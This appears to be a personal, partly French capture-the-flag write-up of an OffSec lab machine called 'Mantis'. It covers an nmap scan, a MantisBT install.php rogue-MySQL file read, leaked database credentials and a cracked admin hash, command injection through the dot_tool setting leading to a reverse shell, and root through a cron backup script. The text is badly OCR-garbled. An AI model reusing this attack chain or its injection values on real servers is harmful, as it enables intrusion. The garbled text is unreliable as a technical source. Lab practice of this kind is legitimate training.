Linux - Mantis :)

lundi 7 juillet 2025 20:56

sudo nmap -sVC -p- 192.168.116.204 --open
[sudo] password for alice:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-07 21:01 CEST
Nmap scan report for 192.168.116.204
Host is up (0.018s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT  STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| _http-title: Slick - Bootstrap 4 Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
3306/tcp open mysql MariaDB 5.5.5-10.3.34
| mysql-info:
Protocol: 10
| Version: 5.5.5-10.3.34-MariaDB-Oubuntu0.20.04.1
| Thread ID: 18
| Capabilities flags: 63486
| Some Capabilities: SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolOld,
ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolNew, InteractiveClient,
g pipes, DontAllowDatabaseTableColumn, LongC g, Ig is,
FoundRows, ODBCClient, Support41Auth, Suppor i uppor gins,
SupportsMultipleStatments
| Status: Autocommit
| Salt: 0%gZj+152?2'D_2y-pnX0
|_ Auth Plugin Name: mysql_native_password

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.77 seconds

Handcrafted Web Template
For Business and Startups

Lorem ipsum dolor sit amet. consectetur adipisicing elit. Ab
dolores ea fugiat nesciunt quisquam.
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Summary 27

& Install.php script

Description After successtul installation of bug tracker, It doesn't rer
any file on the rem

php script bey
ps

MySQL drivers, You can read ful

ause of that attacker

The problem is complex and exists ins

details about It in m

biog article —

Steps To For succe:
Reproduce where y

ful o need run special

<t to it from a server

s want to read files. Unfortunately, Mantis allow that

an fi

rver at my rej

ry — github.com/allyshia

An attacker ca

g0 to any

ep of an Installatio

Sae at this part of code:

Il.php
86: # install_state
87: # 0 = no checks done
88: # 1 = server ok, get database information
B9: # 2 = check the database
98: # 3 = install the datal

: $t_install_state =

gpc_get_int( ‘install’, 8 );

If you brawese to the URL https.//mantisb e e

Where you can find that part of code.

1en you g0 to the install the

radminsinstall php:

Create database if it does not exist BAD
Does adrministrative user have sccess Lo create the database?
{ Access densed for user “@localhost’ (using password: MO) )

Attempting to connect to database as user GoOoD
https: bugs/view.php?id=23173
http://192.168.133.204, in/install.php

GOOD

GOOD

Checking Database connection settings exist GOOD
Checking PHP support for database type GOOD
Chacking PHP varsion {yaur version is 7.4 3-4ubuntu GOOD
Checking UTF-8 suppart GOOD
Checking if safe mode is enabled for install script GOOD
Checking there is ng fig_inc.php’ file in 1.2.% location, GOOD
Checking there is ne ‘tustam_constants_inc.php’ file in 1.2.% location, GOOD
Checking < 0o ‘custam_strings._inc.phy file In 1.2.x location GOOD
5 m_functions_inc.phg file in 1.2.x lacation GOOD

5 NG tom_relationships_inc.php’ file in 1,2 location, GOOD

Checking there is ne ‘me_config_defaults_inc,php’ file in 1,2.% location, GOOD
Chvecking there is no ‘me_config inc.php' file in 1.2 location. GOOD

Admin Username (1o update Database if required)

Admin Password (Lo update Database if required)

Print SOL Queries inste,

of Writing to the Database

Attempt Installation
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https://mantisbt.org/bugs/view.php?id=23173
http://192.168.133.204/bugtracker/admin/install.php

POST bugtracker/admin/install.php WITR/1.1

Host: 192,168.133, 204

User-Agent: Mozilla/s.@ |¥1l; Linux ¥86 64; rv:123.0)
Gecko,/ 2010011 efox/128.0

cept
text/htal , application
age/wvebp, image/png, 1uage/svgexnl,
Accept -Language: en-US, en:q=a,5
Accept -Encading: gzip,
Referer: http
Content -Type:
Cantent-Length: 95
Origin: http://152.

Installing Database

Database Creation Suppressed, SQL Queries follow

Sec-GPC: 1

fannectian, kaenspline
Cookie: PHPSESSIDmedtc
MANTIS secure_session=1

Upgrade - Insecure-Requests: 1
Prierity: =0, i

INSERT INTO mantis_config t { value, typs, access_y

Your database has = create the datab.

install=Sad
15ge=Tnstall

_usernamesadeinkadein_passwordsadeinklog_queriess
2FlpgradesDat abase|

ll=3&admin_user in&admi 1 ies=1

i L \_p:
2FUpgrade+Database&hostname=127.0.0.1

POST /bugtracker/adain/install.php HITR/1.1
Host: 192,168,133, 204

User-Agent: Mozilla/s.0 |¥11: Linus %86 64:
ko/20000101 Firefox/128.0

v:lza.0)

text/htal, application/shtal

wl.apelication/ael ;g=0. 9, inage/avif
0.8

Linage/ P, inage sugennl .
cept en-US, enzqed, &
Aecept gzip,

adin
Refere ttp: 52.168, 133, 204/bugt racker /adein/install . php

Cantent-Type: applications-wew-fora-urlencoded

Content:Length: 114 Installing Database

Origin: http://192.168.133,204 -

ONT: 1

Suppressed, SQL Queries follow

Database Creatior

Sec-GRC: 1
Sen
ool

5 hrgcle2saBa2nal; TaB3t ; INSERT INTO mantis_config table { value, type, access_i

e SSI0me
MANTIS_secure_session
Upgrade- Insecure-Requests: 1
Pricrity: w=d. i

abase, then |
sernamesadeiniadein_passwordsadeinklog_queriess
gradesDat abaspshost nane=127, 0

tion File (configiconfig_incphp)  POSSIBLE PROH

T P

<?php

. I Sg_hostname =" .8.8.1';
cE;c L : Sg_db_type = "mysqli’

Sg_database_name ‘bugtracker ' ;
Sg_0b_usernane ‘root’;
Sg_db_password *SupersequelPassword’

~\ ~
-, T
[ Sg_deTault_timezone T ;

Sg_crypto_master_salt = *hULvEEH JUTEAQgZnXGPlwgody
F:ICHE] £ | ohighlights

the install the datab,

ere you can find

If you browse to the mantisbi/adn tal a7l then you go

that part of code,

fadminins

the database

all checks have pa

L H sed,
746: 1f( 3

St_install _state ) {
765:  <7php
766: St_resu #%g_db->Connect( Sf_hostname, $f_adnin username, $f_admin_password, $f_da
ane
767:
768! $t_db_open = Talse;
Script try ta connect to MySQL server, but striarme variable through HTTPrequest parameter hostnarme
admanunstall phy:
208:  $f_hostname = gpe_get( 'hostname', config get( 'hostname’, 'localhast' ) );

For testing purposes, I'm trying to read fex
* Run raguemysql.php

= Type file path to read ‘Vatc/passwd'
. B t v t
* Look at the

Write Configuration File(s)

PROBLEM

AE_AOGUE_SERVER_RUN or you can use POST request

tached Image

“iguration File POSSIE

acker/conf

config_incphp already extsts and has

config/canfig_nc.php) filo fvar/wwn/htmiby
differen s

re continuing

rvwww/hem

$g_hostname '127.6.0.1';
Sa_db_type = ‘mysqli’;
$g_database_nama bugtracker';
$g_ob_username = ‘root’;
$g_db_password = ‘SuperSequelPassword
Sg_oefault_timezone = ‘utc!

Sg_crypto_master_salt * NULV6EHO JUTEOQYZIXGP1wqody/HXBKAWTykny1/4ds=" ;

Root
SuperSequelPassword

On va se connecter a la database :
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Administrator : c7870d0b102cfb24916ff04e47bSc6f
prayingmantis

Cookie : Tgl D9s5AKRU_ 07p32aGM2Zl4gckyB84AMBRy-IFA7

Free Password Hash Cracker

sl

Erter up 1o 20 non-salte e per line:

cT870dBb182cfo2fa916ffadedThEcaf

Crack Hashes

Supports: LM, MTLM shal 12, ipsMDIG0, wh
et i
Hash Type Result
[mas e _

Color Codes: ([ ©x
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MantisBT Version

PHP Version

Schema Version

ADOdb Version

Site Path
Core Fath

Plugin Path

252

7.4.3-dubuntu2 29

MantisBT Database Information

5209

MantisBT Path Infarmation

Avariwweashtmisbugtrackers
Avariwwahtmirbugtrackerscore)

et foowwtml/bugtracker/plugins/

My View
=]

View Issues

=

Change Lag

A

Name a Status Enabled View Status
Roadmap

Description

sl

Sumemary

Category

o

General

Je suis le tuto du gars sur ce site :
https: bugs/view.php?id=26091

uration

Username

Al Users

Project Name Configuraticn Option Type

All Projects database_version Integer

Project Name
Configuration Option
Type

Value

Username

Project Name
Configuration Option

Type

Value

Username
All Users.

All Users

All Users.

Praject Name afiguration O Type Value

All Projects database_version integer 209

Al Projects dot_tool string ‘touch ftmphulnerable;
All Projects relationship_graph_enabile integes 1
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https://mantisbt.org/bugs/view.php?id=26091

Pocs Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec @ Online - Reverse Shell % neodj@neodj/Nlocalh. @ save OffSec | Challenge Labs (p) Gi]

The image “http://192.168.133.204/bugtracker/workflow_graph_img.php” cannot be displayed because it contains e

Je ne vois pas I'affichage. Donc je vais faire une technique pour savoir si le site fait une demande ou
une action.

& Database Configuration

Je relance la page :

http://192.168.133.204/bugt ‘workflow_graph_img.php

Etj'ai bien une requéte.

Jlessaye avec le reverse shell :

Et i le reverse !!

YESS!!! Sans regarder de soluce !!

ilnerable to CVE-2021-:

Je lance avec pspy64 :

2025/07/08 20:49:01 CMD: UID=0  PID=191634 | /ust/sbin/CRON -f
ID=1000 P!

2025/07/08 20:49:01 CMD: U 1D=191636 | bash /home/mantis/db_backups/backup.sh
2025/07/08 20:49:01 CMD: UID=1000 PID=191637 | bash /home/mantis/db_backups/backup.sh
2025/07/08 20:50:01 CMD: UID=1000 PID=191665 | u -pBug’
bugtracker

2025/07/08 20:50:01 CMD:
2025/07/08 20:50:01 CMD:
/home/mantis/db_backups/backup.sh

91664 | bash /home/mantis/db_backups/backup.sh
91663 | /bin/sh -c bash
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http://192.168.133.204/bugtracker/workflow_graph_img.php

Peut-étre remplacer le backup.sh par un shell. Vu que le PID est 1000 (root?)

Etvoila 11!

Je suis contente de I'avoir réussis solo :)
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